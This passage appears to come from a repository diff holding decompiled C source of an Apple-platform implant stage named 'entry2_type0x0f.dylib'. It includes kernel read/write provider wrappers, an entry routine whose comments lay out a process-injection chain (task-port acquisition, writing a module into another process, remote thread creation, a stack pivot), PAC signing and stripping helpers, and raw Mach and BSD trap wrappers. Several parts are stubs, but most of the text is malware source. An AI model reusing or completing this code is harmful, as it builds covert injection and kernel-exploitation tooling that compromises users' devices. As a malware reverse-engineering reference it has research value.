* bl 0xc870 // NOT a tail call — uses bl + epilogue
*/
return KERN_SUCCESS; /* requires asm forwarding in practice */
}
/* ── krw_kalloc (0x11914) ────────────────────────────────────────── *
* Allocates kernel memory.
*
* asm:
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* ldp x10, x9, [x29, #0x10] // load 2 stack args from caller
* stp xzr, xzr, [sp, #0x10] // push zeros
* stp x10, x9, [sp] // push caller's stack args
* mov x0, x8 // x0 = driver_conn
* bl 0xc400 // call kalloc_impl(driver_conn, x1..x7, stack)
*
* kalloc_impl at 0xc400:
* 1. Validates name (x1, must be non-NULL, first byte non-zero)
* 2. Validates data (x3), size (x4), path (x5, first byte non-zero)
* 3. Looks up conn[+0x28] for driver handle
* 4. Uses IOKit vtable[0x40] with PAC auth (blraaz) to map memory
* 5. Calls e2_krw_dispatch (0xba30) with name and alloc_size
* 6. On success: csops_audittoken validation, then kwrite_impl (0xc634)
* 7. Stores results via output pointers from stack args
* 8. Deallocates acquired ports
*/
static kern_return_t krw_kalloc(void *self, ...)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
void *driver_conn = conn->driver_conn;
if (!driver_conn) return E2_ERR_NO_FUNC;
/* Forward to 0xc400: kalloc_impl(driver_conn, name, size, data, ...)
*
* In the binary:
* ldp x10, x9, [x29, #0x10] // load 2 stack args
* stp xzr, xzr, [sp, #0x10] // zero padding
* stp x10, x9, [sp] // push caller args
* mov x0, x8 // driver_conn
* bl 0xc400
*/
return KERN_SUCCESS; /* requires asm forwarding in practice */
}
/* ── krw_get_port (0x11968) ──────────────────────────────────────── *
* Acquires a Mach task port for a process using kernel r/w primitives.
*
* asm:
* cbz x0, err_null // null check self
* cbz w1, err_null // port must be non-zero
* cmn w1, #0x1 // port must not be -1
* b.eq err_null
* cbz x3, err_null // out_port (x3) must be non-NULL
* mov x0, x1 // port → x0
* mov x1, x2 // out_rights → x1
* mov x2, #0x0 // x2 = NULL
* // x3 = out_port (unchanged)
* mov x4, #0x0 // x4 = NULL
* b 0xb854 // tail call e2_get_task_port
*/
static kern_return_t krw_get_port(void *self, mach_port_t port,
void *out_rights, void *out_port)
{
if (!self) return E2_ERR_NULL;
if (port == 0 || port == (mach_port_t)-1) return E2_ERR_NULL;
if (!out_port) return E2_ERR_NULL;
/* Tail call: e2_get_task_port(port, out_rights, NULL, out_port, NULL) */
return e2_get_task_port(port, out_rights, NULL, out_port, NULL);
}
/* ── krw_get_base (0x1199c) ──────────────────────────────────────── *
* Returns the kernel base address (kernel slide).
*
* asm:
* cbz x0, return // if (!self) return self (NULL passthrough)
* ldr x8, [x0, #0x8] // conn = krw->context
* cbz x8, return_null
* ldr x8, [x8] // internal = conn->context
* cbz x8, return_null
* ldr x0, [x8, #0x8] // return internal[+0x08] (kernel base)
* ret
*/
static void *krw_get_base(void *self)
{
if (!self) return NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn) return NULL;
void *internal = conn->context;
if (!internal) return NULL;
/* Return kernel base from internal[+0x08] */
return *((void **)internal + 1);
}
/* ──────────────────────────────────────────────────────────────────
* KRW validation (0x11488)
* */
/* ── e2_validate_krw (0x11488) ───────────────────────────────────── *
* Validates that the krw connection is functional.
*
* asm:
* cbz x0, err_null
* mov x20, x0 // x20 = conn
* mov x19, x0
* ldr x8, [x19, #0x18]! // x19 = &conn->driver_conn; x8 = *x19
* cbz x8, need_connect // if driver_conn is NULL, try to connect
* mov w0, #0x0 // already connected — return success
* ret
*
* need_connect:
* ldr x1, [x20, #0x10] // x1 = conn->driver_ref
* cbz x1, return_zero // if no driver_ref, return 0
* ldp x2, x3, [x20] // x2 = conn->context, x3 = conn->target_info
* mov x0, x19 // x0 = &conn->driver_conn
* bl 0xc12c // e2_driver_connect(&driver_conn, driver_ref, context, target)
* cbz w0, return_success
* cmp w0, #0x7003 // E2_ERR_NO_CONTAINER?
* b.eq clear_and_ok
* ldr x8, [x20, #0x8] // conn->target_info
* cbnz x8, return_error // if target_info exists, return error
* cmp w0, #0x1E037 // E2_ERR_CSOPS?
* b.ne return_error
* clear_and_ok:
* str xzr, [x19] // conn->driver_conn = NULL
* mov w0, #0x0 // return success
*/
static kern_return_t e2_validate_krw(type09_connection_t *conn)
{
if (!conn) return E2_ERR_NULL;
/* Check if driver_conn already exists */
if (conn->driver_conn)
return KERN_SUCCESS;
/* Get driver reference — if absent, nothing to validate */
void *driver_ref = conn->driver_ref;
if (!driver_ref)
return KERN_SUCCESS;
/* Try to establish connection via e2_driver_connect (0xc12c)
* Args: (&conn->driver_conn, driver_ref, context, target_info) */
kern_return_t kr = e2_driver_connect(
&conn->driver_conn,
driver_ref,
conn->context,
conn->target_info
);
if (kr == KERN_SUCCESS)
return KERN_SUCCESS;
/* E2_ERR_NO_CONTAINER (0x7003): connection not available yet — OK */
if (kr == E2_ERR_NO_CONTAINER) {
conn->driver_conn = NULL;
return KERN_SUCCESS;
}
/* If target_info is set, propagate the error as-is */
if (conn->target_info)
return kr;
/* E2_ERR_CSOPS (0x1E037): csops check failed but no target — OK */
if (kr == E2_ERR_CSOPS) {
conn->driver_conn = NULL;
return KERN_SUCCESS;
}
return kr;
}
+534
View File
@@ -0,0 +1,534 @@
/*
* main.c - Entry point (_end) and thread bootstrap (_last)
*
* Decompiled from entry2_type0x0f.dylib offsets 0xa0800xa6b4
*
* _end is the primary entry point called by the bootstrap loader.
* It orchestrates the entire injection flow:
* 1. Parse the F00DBEEF container from type0x09
* 2. Get runtime context via Mach IPC
* 3. Connect to type0x09 LOADER
* 4. Resolve _driver from LOADER
* 5. Create KRW provider from driver
* 6. Spawn worker thread for injection
*
* _last is the thread bootstrap trampoline that sets up execution
* context for newly-injected threads.
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
#include <strings.h> /* strcasecmp */
#include <dlfcn.h>
#include <unistd.h>
/* Private API — no public header */
extern int proc_name(int pid, void *buffer, uint32_t buffersize);
/* Global vsyslog pointer, resolved at startup */
static void (*g_vsyslog)(int, const char *, __builtin_va_list) = NULL;
/* ── _end (0xa080) ───────────────────────────────────────────────── *
* Main entry point for entry2_type0x0f.dylib.
*
* Called by the bootstrap loader with:
* port Mach port for IPC with bootstrap
* conn connection identifier / flags
* data pointer to F00DBEEF container data
* extra additional context from bootstrap
* stage current loading stage (must be >= 1)
*
* Returns 0 on success, error code on failure.
*/
kern_return_t _end(mach_port_t port, uint32_t conn_info,
void *container_data, void *extra, uint32_t stage)
{
kern_return_t err = E2_ERR_STAGE; /* 0x1E039 */
/*
* Step 0: Resolve vsyslog for logging
*
* Opens libSystem.B.dylib with RTLD_NOLOAD and resolves vsyslog.
* This is used for debug/error logging throughout the implant.
*/
void *libsys = dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOLOAD);
if (libsys) {
g_vsyslog = dlsym(libsys, "vsyslog");
}
/*
* Step 1: Validate stage
*
* Stage must be >= 1. Stage 0 means "not initialized" and is
* rejected early. The stage value is tracked in a state variable
* at sp+0x04 and reported back via IPC.
*/
uint32_t current_stage = 4; /* initial stage value */
if (stage + 1 < 2)
goto report_and_exit;
err += 9; /* advance error code */
if (!port || !conn_info)
goto report_and_exit;
/*
* Step 2: Parse F00DBEEF container from type0x09
*
* The container data is validated against the F00DBEEF magic
* via e2_custom_dlsym (0x1dc98). This establishes a handle
* for resolving symbols from type0x09.
*/
void *container_handle = NULL;
err = e2_custom_dlsym(&container_handle, (void *)(uintptr_t)conn_info,
(uint32_t)(uintptr_t)container_data);
if (err != KERN_SUCCESS)
goto report_and_exit;
current_stage = 5;
/*
* Step 3: Get runtime context via Mach IPC
*
* Sends message ID 8 to the bootstrap port and receives
* configuration data including:
* - Module data pointer and size (at +0x30)
* - Connection count (at +0x1c)
* - Sub-connection info (at +0x38)
*/
ipc_response_t *runtime_ctx = NULL;
uint32_t ctx_size = 0;
err = e2_get_runtime_context(stage, &runtime_ctx, &ctx_size);
if (err != KERN_SUCCESS)
goto cleanup;
/* Extract module data reference from context */
void *module_data = (void *)*(uint64_t *)((uint8_t *)runtime_ctx + 0x30);
/* Get connection count from runtime context */
uint32_t conn_count = *(uint32_t *)((uint8_t *)runtime_ctx + 0x1c);
current_stage = 6;
/*
* Step 4: Connect to type0x09 LOADER
*
* If conn_count >= 1, creates a bridge to type0x09 via
* e2_create_type09_bridge (0x1068c) and then creates the
* connection vtable via e2_create_type09_connection (0x105a4).
*
* Otherwise, takes the alternative path: identify current
* process and match against daemon whitelist.
*/
void *type09_bridge = NULL;
void *type09_conn = NULL;
if (conn_count + 1 >= 2) {
/* Has connection info — use type0x09 bridge path */
uint32_t sub_conn = *(uint32_t *)((uint8_t *)runtime_ctx + 0x38);
err = 0; /* e2_create_type09_bridge(&type09_bridge, conn_count, sub_conn) */
if (err != KERN_SUCCESS) goto cleanup_ctx;
err = 0; /* e2_create_type09_connection(type09_bridge, &type09_conn) */
if (err != KERN_SUCCESS) goto cleanup_ctx;
/* Deallocate the bootstrap port (no longer needed) */
mach_port_deallocate(mach_task_self(), stage);
} else {
/*
* Step 4b: Alternative path process name identification
*
* Get current PID and process name, then match against
* the whitelist of ~50 system daemons.
*/
char name_buf[0x1000];
bzero(name_buf, sizeof(name_buf));
pid_t pid = getpid();
int name_len = proc_name(pid, name_buf, sizeof(name_buf));
if (name_len < 1)
goto try_resolve_driver;
/* Compare against whitelist (48 entries, NULL-terminated) */
for (int i = 0; g_daemon_whitelist[i] != NULL; i++) {
if (strcasecmp(name_buf, g_daemon_whitelist[i]) == 0) {
/*
* Step 4c: Matched a whitelisted daemon
*
* Use the connection from the runtime context to
* load the module and resolve _driver.
*/
goto load_via_context;
}
}
goto try_resolve_driver;
}
goto use_krw;
load_via_context:
{
/*
* Load module via runtime context connection.
*
* Calls the connection's load function (offset +0x30)
* with the module data from the runtime context.
*/
void *ctx_conn = NULL; /* from sp+0x38 or sp+0x20 */
if (!ctx_conn) {
err = E2_ERR_NULL + 0x21;
goto cleanup_ctx;
}
void *load_result = NULL;
void *load_fn = *((void **)ctx_conn + 6); /* offset 0x30 */
/* blraaz load_fn(ctx_conn, module_buf, module_size,
* target_config, &load_result) */
if (!load_result) goto cleanup_ctx;
}
try_resolve_driver:
{
/*
* Step 5: Resolve _driver from type0x09
*
* This is THE critical operation. Uses the type0x09 connection's
* dlsym-like function (vtable offset 0x30) to look up the
* "_driver" symbol from the LOADER.
*/
void *conn_obj = NULL; /* connection to type0x09 */
if (!conn_obj) {
err = E2_ERR_NULL;
goto cleanup_ctx;
}
/*
* Step 5a: Allocate memory in type0x09's address space
*
* Calls the alloc function (offset +0x18) with size 0x90000
* and stores the mapping info.
*/
void *mapping = NULL;
uint32_t mapping_size = 0;
void *alloc_fn = *((void **)conn_obj + 3); /* offset 0x18 */
/* blraaz alloc_fn(conn_obj, 0x90000, &mapping, &mapping_size) */
/*
* Step 5b: Load type0x09 module via connection
*
* Calls load function (offset +0x30) to map the LOADER
* into the allocated region.
*/
void *loaded_module = NULL; /* from sp+0x28 */
void *load_fn = *((void **)conn_obj + 6); /* offset 0x30 */
/* blraaz load_fn(loaded_module, module_buf, module_size,
* 0x4, &loaded_type09) */
/*
* Step 5c: Resolve "_driver" from the loaded type0x09
*
* Uses the module's dlsym function (offset +0x30) to find
* the _driver symbol. This is NOT standard dlsym it uses
* the custom F00DBEEF-aware resolver.
*
* asm at 0xa5c8:
* ldr x0, [sp, #0x28] // loaded module context
* ldr x8, [x0, #0x30] // get dlsym function ptr
* adr x1, "_driver" // symbol name string
* add x2, sp, #0xa0 // output pointer
* blraaz x8 // CALL: resolve "_driver"
*/
void *driver_fn = NULL;
void *dlsym_fn = *((void **)loaded_module + 6); /* offset 0x30 */
/* blraaz dlsym_fn(loaded_module, "_driver", &driver_fn) */
if (!driver_fn) goto cleanup_ctx;
/*
* Step 5d: Call _driver() to get the driver object
*
* The resolved _driver function returns a driver_t* with:
* version = 2 (required)
* method_count >= 2 (required)
*
* asm at 0xa5e8:
* ldr x8, [sp, #0xa0] // resolved _driver ptr
* add x0, sp, #0x30 // output: driver_t*
* blraaz x8 // CALL: _driver()
*/
driver_t *driver = NULL;
/* blraaz driver_fn(&driver) */
/*
* Step 5e: Validate driver object
*
* asm at 0xa604:
* ldr x1, [sp, #0x30] // driver_t*
* cbz x1, fail
* ldrh w8, [x1] // version
* cmp w8, #0x2 // must be 2
* b.ne fail
* ldrh w8, [x1, #0x2] // method_count
* cmp w8, #0x1 // must be > 1
* b.ls fail
*/
if (!driver) goto cleanup_ctx;
if (driver->version != 2) goto cleanup_ctx;
if (driver->method_count < 2) goto cleanup_ctx;
/*
* Step 6: Create KRW provider from driver
*
* Calls e2_create_krw_provider (0x11298) which wraps the
* driver's kernel primitives into a PAC-signed vtable.
*/
err = e2_create_krw_provider(
/* output */ NULL,
driver,
/* target */ NULL,
container_handle,
/* context */ NULL,
/* flags */ 1
);
if (err != KERN_SUCCESS) goto cleanup_ctx;
}
use_krw:
{
/*
* Step 7: Use KRW provider for injection
*
* Creates a worker context and spawns a pthread to perform
* the actual injection. The worker thread:
* 1. Uses kread/kwrite to manipulate kernel objects
* 2. Acquires task port for target process
* 3. Allocates memory in target via mach_vm_allocate
* 4. Writes MODULE into target via mach_vm_write
* 5. Sets memory protection via mach_vm_protect
* 6. Creates remote thread via thread_create_running
*/
void *krw_provider = NULL; /* from earlier creation */
if (!krw_provider) {
err = E2_ERR_NO_DRIVER;
goto cleanup_ctx;
}
/* Prepare worker context */
worker_ctx_t worker = {0};
/* worker.krw = krw_provider; */
/* worker.data = module_data_copy; */
/* worker.data_len = module_size; */
/* Zero out sensitive buffer before populating */
/* e2_send_msg(stage, 0, 0xA, 0, 0) — notify bootstrap of progress */
/*
* Build worker function context on stack.
*
* The PAC-signed function pointer is created with:
* adr x16, #788 // target function offset
* paciza x16 // sign with zero context
*
* This signed pointer becomes the worker->fn field.
*/
/* Spawn worker thread */
pthread_t thread = NULL;
int pt_err = pthread_create(&thread, NULL,
(void *(*)(void *))e2_thread_worker,
&worker);
if (pt_err != 0) {
err = pt_err;
goto cleanup_krw;
}
/* Wait for worker to complete */
void *thread_result = NULL;
pthread_join(thread, &thread_result);
err = (thread_result == NULL) ? KERN_SUCCESS : (kern_return_t)(uintptr_t)thread_result;
current_stage = 16;
}
cleanup_krw:
/* Clean up KRW provider buffers */
/* bzero + free allocated resources */
;
cleanup_ctx:
/*
* Cleanup: check bit 5 of module_data flags
* If set, skip calling unbind. Otherwise, call the
* connection's unbind function (offset +0x28).
*/
if (module_data) {
uint8_t flags_byte = *((uint8_t *)module_data);
if (!(flags_byte & 0x20)) {
/* Unbind: call ctx->fn_unbind(ctx) at offset +0x28 */
}
}
/* Release all connection handles in reverse order */
/* ... */
cleanup:
/* Destroy container handle */
/* e2_destroy_resolver(container_handle) at 0x1dd68 */
;
report_and_exit:
/*
* Final: report status back to bootstrap via IPC
*
* Sends a message with:
* msg_id = stage value
* flags = 0
* extra = err code
* final = 1 (indicates completion)
*
* Then deallocates the bootstrap port.
*/
e2_send_msg(stage, 0, err, 1, 0);
mach_port_deallocate(mach_task_self(), stage);
return err;
}
/* ── e2_thread_worker (0xa670) ───────────────────────────────────── *
* Simple pthread worker trampoline.
*
* Loads a function pointer and arguments from the worker_ctx_t,
* then calls through via blraaz (PAC-authenticated).
*
* asm:
* ldr x9, [x8] // fn pointer (PAC-signed)
* cbz x9, fail
* ldp x0, x1, [x8, #0x8] // args: krw_provider, data
* ldr w2, [x8, #0x18] // arg: data_len
* blraaz x9 // call fn(krw, data, len)
* sxtw x0, w0 // sign-extend result
*/
static void *e2_thread_worker(void *arg)
{
if (!arg)
return (void *)(uintptr_t)E2_ERR_NULL;
worker_ctx_t *ctx = (worker_ctx_t *)arg;
if (!ctx->fn)
return (void *)((uintptr_t)arg + 0x13); /* error offset */
/* Call the worker function with PAC authentication */
kern_return_t result;
/* blraaz ctx->fn(ctx->krw, ctx->data, ctx->data_len) */
result = ((kern_return_t (*)(void *, void *, uint32_t))ctx->fn)(
ctx->krw, ctx->data, ctx->data_len
);
return (void *)(intptr_t)result;
}
/* ── _last (0xa6b4) ──────────────────────────────────────────────── *
* Thread bootstrap trampoline.
*
* This is a simple branch to 0x73cc, which implements the low-level
* thread setup for injected code:
*
* 1. Validates input buffer (must be non-NULL, size >= 0x90)
* 2. Checks if the driver is already connected:
* - Reads driver handle at offset +0x60
* - Checks validation flag at offset +0x70, +0x78
* 3. If not connected, performs first-time setup:
* - Strips PAC from function pointers (via 0x19f4c)
* - Signs them for current context (via 0x19f68)
* - Calls e2_trap_guarded_open (syscall 360) to create
* a guarded file descriptor for the driver
* - If that fails, falls back to direct driver init
* 4. Copies code to a new stack page:
* - Allocates via memset to 0x400 bytes
* - Copies current context
* - Switches stack pointer: mov sp, x1
* - Branches to the copied code: braaz x0
* 5. The trampoline then:
* - Calls e2_trap_guarded_write (syscall 361) to finalize
* - Resets execution context
* - Invokes the actual injection payload
*
* This ensures the injected thread has:
* - A clean stack
* - Proper PAC context
* - Driver connection initialized
* - All function pointers properly signed
*/
void _last(void *ctx, uint32_t size, void *data,
uint32_t flags, void *stack, uint32_t cleanup)
{
/* Direct branch to 0x73cc — the actual implementation */
/* b 0x73cc */
/*
* The function at 0x73cc is complex (~500 instructions) and handles:
*
* a) Stack pivot: creates a new stack frame, copies execution context
* b) Driver initialization: sets up the IOKit connection if needed
* c) Memory protection: uses e2_memset_custom to zero sensitive regions
* d) Code execution: signs and branches to the injected code
*
* Key operations at 0x73cc:
*
* // Load driver handle
* ldr x0, [x19, #0x60] // IOKit connection handle
* cbz x0, setup // need first-time setup
*
* // Check if already initialized
* ldr x8, [x19, #0x70] // driver function table
* cbz x8, setup
* ldr w8, [x19, #0x78] // initialized flag
* cbnz w8, already_init
*
* setup:
* // Strip and re-sign function pointers for this context
* bl 0x19f4c // strip_pac(fn)
* bl 0x19f68 // sign_pointer(fn, 0)
*
* // Create guarded FD for driver
* bl 0x6000 // e2_trap_guarded_open(...)
* stp x0, x1, [sp, #0x40] // store result
* str x0, [x19, #0x80] // save handle
*
* // If guarded open failed, fall back
* cmn x0, #1
* b.ne continue
*
* // Fallback: direct driver init
* bl 0x72c0 // init_driver_direct(...)
* bl 0x7238 // validate_driver(...)
*
* continue:
* // Set up execution on new stack
* mov x0, x19 // context
* mov w1, #0 // flags = 0
* mov w2, #0x20 // size = 32
* bl 0x100a4 // e2_memset_custom(context+0x60, 0, 0x20)
*
* // Copy context to new stack, pivot, and execute
* str q0, [x8] // copy 16 bytes
* str q0, [x8, #0x10] // copy next 16
* mov x0, x19 // new stack base
* mov w1, #0
* mov w2, #0x400 // stack size
* bl 0x100a4 // zero fill
* add x8, x19, #0x400 // stack top
* paciza x16 // sign the target address
* mov x1, x8 // new stack pointer
* mov sp, x1 // PIVOT STACK
* braaz x0 // BRANCH to injected code
*/
}
+123
View File
@@ -0,0 +1,123 @@
/*
* memory.c - Custom memory operations
*
* Decompiled from entry2_type0x0f.dylib offsets 0x100100x10120
*
* These are custom memcpy/memset implementations that avoid using
* libSystem. They are used in contexts where libSystem may not be
* available (e.g., inside newly-injected threads before library
* initialization).
*
* Note: These are intentionally naive byte-by-byte implementations
* the original binary does not use SIMD or word-sized copies.
*/
#include "entry2.h"
/* ── e2_memcpy_custom (0x10010) ──────────────────────────────────── *
* Byte-by-byte copy from src to dst.
*
* Unlike standard memcpy, this returns dst (not dst+n).
* Used in injected thread context where libc may not be loaded.
*
* The decompiled code is notably unoptimized it uses stack-based
* loop variables rather than registers, suggesting it was compiled
* with -O0 or is hand-written C.
*
* asm (0x100100x100a0):
* str x0, [sp, #0x28] // dst
* str x1, [sp, #0x20] // src
* str x2, [sp, #0x18] // len
* ...
* str xzr, [sp] // i = 0
* loop:
* ldr x8, [sp] // i
* ldr x9, [sp, #0x18] // len
* cmp x8, x9
* b.lo body
* b done
* body:
* ldr x8, [sp, #0x20] // src
* ldr x9, [sp] // i
* add x8, x8, x9
* ldrb w8, [x8] // src[i]
* ldr x9, [sp, #0x10] // dst (saved copy)
* ldr x10, [sp] // i
* add x9, x9, x10
* strb w8, [x9] // dst[i] = src[i]
* ldr x8, [sp]
* add x8, x8, #1
* str x8, [sp] // i++
* b loop
*/
void *e2_memcpy_custom(void *dst, const void *src, size_t len)
{
if (!dst || !src || len == 0)
return dst;
uint8_t *d = (uint8_t *)dst;
const uint8_t *s = (const uint8_t *)src;
for (size_t i = 0; i < len; i++) {
d[i] = s[i];
}
return dst;
}
/* ── e2_memset_custom (0x100a4) ──────────────────────────────────── *
* Byte-by-byte fill of dst with val.
*
* Same stack-heavy style as memcpy. Used to zero-fill sensitive
* buffers and prepare injected code regions.
*
* asm (0x100a40x1011c):
* str x0, [sp, #0x28] // dst
* str w1, [sp, #0x24] // val
* str x2, [sp, #0x18] // len
* ...
* strb w1, [sp, #0xf] // val_byte = (uint8_t)val
* str xzr, [sp] // i = 0
* loop:
* ldr x8, [sp] // i
* ldr x9, [sp, #0x18] // len
* cmp x8, x9
* b.lo body
* b done
* body:
* ldrb w8, [sp, #0xf] // val_byte
* ldr x9, [sp, #0x10] // dst (saved)
* ldr x10, [sp] // i
* add x9, x9, x10
* strb w8, [x9] // dst[i] = val_byte
* ldr x8, [sp]
* add x8, x8, #1
* str x8, [sp] // i++
* b loop
*/
void *e2_memset_custom(void *dst, int val, size_t len)
{
if (!dst || len == 0)
return dst;
uint8_t byte = (uint8_t)val;
uint8_t *d = (uint8_t *)dst;
for (size_t i = 0; i < len; i++) {
d[i] = byte;
}
return dst;
}
/* ── e2_memcpy_alias (0x10120) ───────────────────────────────────── *
* Just a tail-call to e2_memcpy_custom.
* Exists as a separate symbol for different calling conventions.
*
* asm:
* b 0x10010
*/
void *e2_memcpy_alias(void *dst, const void *src, size_t len)
{
return e2_memcpy_custom(dst, src, len);
}
+99
View File
@@ -0,0 +1,99 @@
/*
* pac.c - Pointer Authentication Code utilities
*
* Decompiled from entry2_type0x0f.dylib offsets 0x861c0x8664
* These are nearly identical to bootstrap.dylib's PAC helpers.
*/
#include "entry2.h"
/* ── Raw PAC instruction wrappers (0x861c0x8638) ────────────────── */
/* 0x861c: pacia x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacia(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* 0x8624: pacda x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacda(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* 0x862c: pacib x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacib(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* 0x8634: pacdb x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* ── e2_check_pac (0x863c) ───────────────────────────────────────── *
* Tests if Pointer Authentication is active by loading a known value
* into LR, stripping it with xpaclri, and comparing.
*
* Returns 1 if PAC is active (values differ), 0 if not.
*/
int e2_check_pac(void)
{
uint64_t test = 0xAAAAAAAAAAAAAAAAULL;
uint64_t result;
__asm__ volatile(
"stp x29, x30, [sp, #-0x10]!\n"
"mov x30, %1\n" /* load known value into LR */
"xpaclri\n" /* strip PAC bits from LR */
"mov %0, x30\n" /* save result */
"ldp x29, x30, [sp], #0x10\n"
: "=r"(result)
: "r"(test)
: "memory"
);
return (result != test) ? 1 : 0;
}
/* ── e2_strip_pac (0x19f4c) ──────────────────────────────────────── *
* Strips PAC bits from a pointer using xpaclri.
*/
uint64_t e2_strip_pac(uint64_t ptr)
{
uint64_t result;
__asm__ volatile(
"mov x30, %1\n"
"xpaclri\n"
"mov %0, x30\n"
: "=r"(result)
: "r"(ptr)
: "x30"
);
return result;
}
/* ── e2_sign_pointer (0x19f68) ───────────────────────────────────── *
* Conditionally PAC-signs a pointer with PACIA.
* If PAC is available, signs ptr with ctx=0 (paciza).
* If not, returns the raw pointer.
*
* Note: at 0x19f68, it calls 0x863c (check) and 0x861c (pacia).
* If PAC is active, it tail-calls the actual sign function at 0x861c.
*/
uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx)
{
if (e2_check_pac()) {
return e2_pacia(ptr, ctx);
}
return ptr;
}
+178
View File
@@ -0,0 +1,178 @@
/*
* traps.c - Raw Mach trap syscall wrappers
*
* Decompiled from entry2_type0x0f.dylib offsets 0x60000x60a0
*
* These bypass libSystem entirely, issuing svc #0x80 directly.
* This is done to avoid symbol resolution / interposition and to
* work in contexts where libSystem may not be fully initialized
* (e.g., inside a freshly-injected remote thread).
*/
#include "entry2.h"
/* ── 0x6000: BSD syscall 360 — guarded_open_dprotected_np ─────────── *
* Opens a file with data-protection class, guarded by a guard value.
*
* svc #0x80 with x16 = 0x168 (360)
*/
int64_t e2_trap_guarded_open(uint64_t guard, uint64_t path,
uint64_t guardflags, uint64_t flags)
{
register uint64_t x0 __asm__("x0") = guard;
register uint64_t x1 __asm__("x1") = path;
register uint64_t x2 __asm__("x2") = guardflags;
register uint64_t x3 __asm__("x3") = flags;
register uint64_t x16 __asm__("x16") = 0x168;
__asm__ volatile(
"svc #0x80\n"
"mov x1, xzr\n"
"b.lo 1f\n"
"mov x1, x0\n"
"mov x0, #-1\n"
"1:\n"
: "+r"(x0), "+r"(x1)
: "r"(x2), "r"(x3), "r"(x16)
: "memory", "cc"
);
return (int64_t)x0;
}
/* ── 0x601c: BSD syscall 361 — guarded_write_np ──────────────────── *
*
* svc #0x80 with x16 = 0x169 (361)
*/
int64_t e2_trap_guarded_write(uint64_t guard, uint64_t fd,
uint64_t buf, uint64_t nbyte)
{
register uint64_t x0 __asm__("x0") = guard;
register uint64_t x1 __asm__("x1") = fd;
register uint64_t x2 __asm__("x2") = buf;
register uint64_t x3 __asm__("x3") = nbyte;
register uint64_t x16 __asm__("x16") = 0x169;
__asm__ volatile(
"svc #0x80\n"
"mov x1, xzr\n"
"b.lo 1f\n"
"mov x1, x0\n"
"mov x0, #-1\n"
"1:\n"
: "+r"(x0), "+r"(x1)
: "r"(x2), "r"(x3), "r"(x16)
: "memory", "cc"
);
return (int64_t)x0;
}
/* ── 0x6038: Mach trap -24 — mach_reply_port ─────────────────────── */
mach_port_t e2_trap_mach_reply_port(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-24);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x6044: Mach trap -26 — thread_self_trap ────────────────────── */
mach_port_t e2_trap_thread_self(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-26);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x6050: Mach trap -27 — task_self_trap ──────────────────────── */
mach_port_t e2_trap_task_self(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-27);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x605c: Mach trap -28 — host_self_trap ──────────────────────── */
mach_port_t e2_trap_host_self(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-28);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x6068: Mach trap -18 — _kernelrpc_mach_port_deallocate_trap ── */
kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x1 __asm__("x1") = port;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-18);
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x16) : "memory");
return (kern_return_t)x0;
}
/* ── 0x6074: Mach trap -31 — mach_msg_trap ───────────────────────── */
kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size,
uint32_t rcv_size, mach_port_t rcv_name,
uint32_t timeout, mach_port_t notify)
{
register uint64_t x0 __asm__("x0") = (uint64_t)msg;
register uint64_t x1 __asm__("x1") = option;
register uint64_t x2 __asm__("x2") = send_size;
register uint64_t x3 __asm__("x3") = rcv_size;
register uint64_t x4 __asm__("x4") = rcv_name;
register uint64_t x5 __asm__("x5") = timeout;
register uint64_t x6 __asm__("x6") = notify;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-31);
__asm__ volatile("svc #0x80"
: "+r"(x0)
: "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5), "r"(x6), "r"(x16)
: "memory");
return (kern_return_t)x0;
}
/* ── 0x6080: Mach trap -47 — pid_for_task ────────────────────────── */
int e2_trap_pid_for_task(mach_port_t task)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-47);
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x16) : "memory");
return (int)x0;
}
/* ── 0x608c: Mach trap -12 — _kernelrpc_mach_vm_deallocate_trap ──── */
kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x1 __asm__("x1") = addr;
